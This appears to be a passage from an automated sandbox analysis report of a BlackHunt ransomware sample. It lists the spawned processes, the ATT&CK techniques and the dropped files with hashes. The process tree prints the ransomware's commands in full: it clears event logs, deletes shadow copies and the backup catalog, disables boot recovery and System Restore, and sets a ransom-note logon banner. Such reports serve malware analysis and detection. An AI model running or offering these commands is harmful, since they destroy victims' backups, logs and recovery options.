  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:31184
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:13992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:31256
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:21156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:31300
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:20900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:31352
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:10736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:31440
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:11012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:31484
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:21468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:31540
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:31616
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:21476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:31704
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:10876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:24968
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:13984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:10660
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:31748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:13932
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:31916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:14004
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:25796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:14032
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:13860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:14188
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:31752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  - Modifies registry class
  PID:14260
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - System Location Discovery: System Language Discovery
    PID:32036
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:21136
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:31992

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:28348

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:28452

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:28552

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

#BlackHunt_BG.jpg

Path C:\ProgramData\#BlackHunt_BG.jpg
Size 39KB
SHA256 6eff3b98362d8bc194d750d3ca46eb7a6637441e0f4fad30ec56899764cf76a9
MD5 da8afb199581f13321a56028921bfdca
SHA1 4b2c8547d0717e0a839932efa54306475a3686ae
SHA512 f0b6306217fdcb1ab2cf714b44cdf1acae66b118fd766a017d35b68d6b199446f8af7440dc97ffce9457041b674a8f761572b34c743dc3fa20eddb97d72a4cac
SSDEEP 384:eBzpL7C9XnGdlTtA38YNg7h+cT0yee6WkocP7ok6sahl1LszCvHhI2k:eBzJ7UXGJYytN7eedcPms21LOWIR
MD5 SHA1 SHA512 SSDEEP

Submit Download

#BlackHunt_ID.txt

Path C:\ProgramData\#BlackHunt_ID.txt
Size 32B
SHA256 6a2f59a14033ac381aa3cd1887bb57aeed856e8b49ad17e5be1917bb3812a44f
MD5 d1a26972789adc53323308d69dd776be
SHA1 af062fac0726044b195185b5c01b30171da83970
SHA512 89991e8ab119f659f9e9060074d6ce00e4783fe4f3429deee6562d7f2af10e10a99ec6f8260312572cc024c01825d846e8d4c68210d741a3205f213163b42e12
MD5 SHA1 SHA512

Submit Download

#BlackHunt_Icon.ico

Path C:\ProgramData\#BlackHunt_Icon.ico
Size 38KB
SHA256 c4b5364a5b62f1aec0751ea64cfe70b8adee988ba36a06aafd43c0420dca2823
MD5 4949ed1576b0956dfb9dbff6f3ff0aea
SHA1 dd37a1ff8e1852ca46954d3c1231f6d22f176477
SHA512 a135c33d39b8e86c9a0d91f1b56213cd2bbe3f94154e7b90478d017445c52a00e5ce26e1e4f7c80770d29568cdc968593e655daeed36e2dabce287a35a9f42e1
SSDEEP 192:nRV8beyJmEBrwC0JsyI+bJAbqpnQ8J7/xzGl1DrvZm8pjr3KK:nRieXE6Cj+pulV3pPT
MD5 SHA1 SHA512 SSDEEP

Submit Download

#BlackHunt_Logs.txt

Path C:\ProgramData\#BlackHunt_Logs.txt
Size 4KB
SHA256 ed3ad45d8e463042c6b7f91bb69e91d0a10612399056f3c445ec598a34253452
MD5 003d24617dcd83b4bf382fdb067ced83
SHA1 d539d5a987f928f584e7e45a9790261792fc55d7
SHA512 289a1c98da947485c0f7cc76f0d7f13d8ebb2c1edb9b77b828bdca84cebb61d604a7195f82efee0a60410fee096dc8e8522ad7bd6a81ab7b85f91b4ae48248d0
SSDEEP 48:cSljhXdB+ql3jDmsrVPA0p3GOSGpfpg6i8moAdelMDdd9tyds9tQdJV6tQdJVct0:tCs91ADC6CcCdCxdCCJCnLClCxxC5AP
MD5 SHA1 SHA512 SSDEEP

Submit Download

#BlackHunt_Private.key

Path C:\ProgramData\#BlackHunt_Private.key
Size 1KB
SHA256 97e940c6790dfa31792f48c0d0993a235216329b5951534c654ce5fe1d4885ad
MD5 e281c6a3714e8279b27c142896e23631
SHA1 4459ddc33841a202a26508ce38f373120c52e2c5
SHA512 9fa6412c7dd9254ddd01c098409f8f66cf3385da5c6c8c1aae289af3128510402bf79ba8265fc7d20e5173071000b819611b1ca32bb0470041b002b3cbd7803e
MD5 SHA1 SHA512

Submit Download

#BlackHunt_Public.key

Path C:\ProgramData\#BlackHunt_Public.key
Size 276B
SHA256 cafd19e9ca7e5886d82f07b6df7f8d0c00426b4e4bf845f4df5e6a1ce23ca61f
MD5 b7c0aa95d7a2f18eaccec908b3fb010d
SHA1 9d4390023bdda60fd4d13caf9a346cc73a6c36fa
SHA512 c3a3c39a6837cbdc3308a1d9a9838322f71f138f09b17c96c5b703116a8db97f4fc0da9b35260948cdf58e83650160b71ef37e9c3c64327afb3d850fd15b8641
MD5 SHA1 SHA512

Submit Download

#BlackHunt_ReadMe.hta

Path C:\ProgramData\#BlackHunt_ReadMe.hta
Size 12KB
SHA256 57bc17c0ab1a9543b5cd7bdee546411d76d3d90195e88b560a00feb916915631
MD5 45cb05698f8e4976dfd704b5bfcd6900
SHA1 2265fd000b40093cc269ecc888ce20a01612dd61
SHA512 eb8f8b53507d63de04eacbd5d773b4d9326158c658e5d644f7e3222440903ed2303722e7e1ae385e0adb2dd2cad1bba915ef4c42c1898d6b71b8df2eb2a8abb0
SSDEEP 192:6zNWVQDnFfSkURroocVPEnvQIl4EsD3nDk/hp9HE96EzIAaXCA/Mn3W9qz6OsQaq:SKAFfFU1QEnk3noZfE9L1aeLzNst4mI
MD5 SHA1 SHA512 SSDEEP

Submit Download

#BlackHunt_ReadMe.txt

Path C:\ProgramData\#BlackHunt_ReadMe.txt
Size 684B
SHA256 3ba1313d856c1138a28112b0325d1e72760c17a2dc7c0137009cb0964bebb1d5
MD5 a61bc88eea62ee39fecf29fc08527004
SHA1 eb1cc3752cfc65802fdf0e581efcabd1f9b7bed9
SHA512 ced672893c6ac813f17f16c221466890707c701dae2e7b1306addc9049b1c4cf9719de6bc17a5d2a3884ca002c2d15ae9b08b8e1fd739ef35f887d4bc936ada9
MD5 SHA1 SHA512

Submit Download

desktop.ini

Path F:\$RECYCLE.BIN\S-1-5-21-3038529890-304741975-475214286-1000\desktop.ini
Size 129B
SHA256 e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066
MD5 a526b9e7c716b3489d8cc062fbce4005
SHA1 2df502a944ff721241be20a9e449d2acd07e0312
SHA512 d83d4c656c96c3d1809ad06ce78fa09a77781461c99109e4b81d1a186fc533a7e72d65a4cb7edf689eeccda8f687a13d3276f1111a1e72f7c3cd92a49bce0f88
MD5 SHA1 SHA512

Submit Download

memory/1428-0-0x00000000000B0000-0x0000000000170000-memory.dmp

Download

memory/28316-29730-0x00000000000B0000-0x0000000000170000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads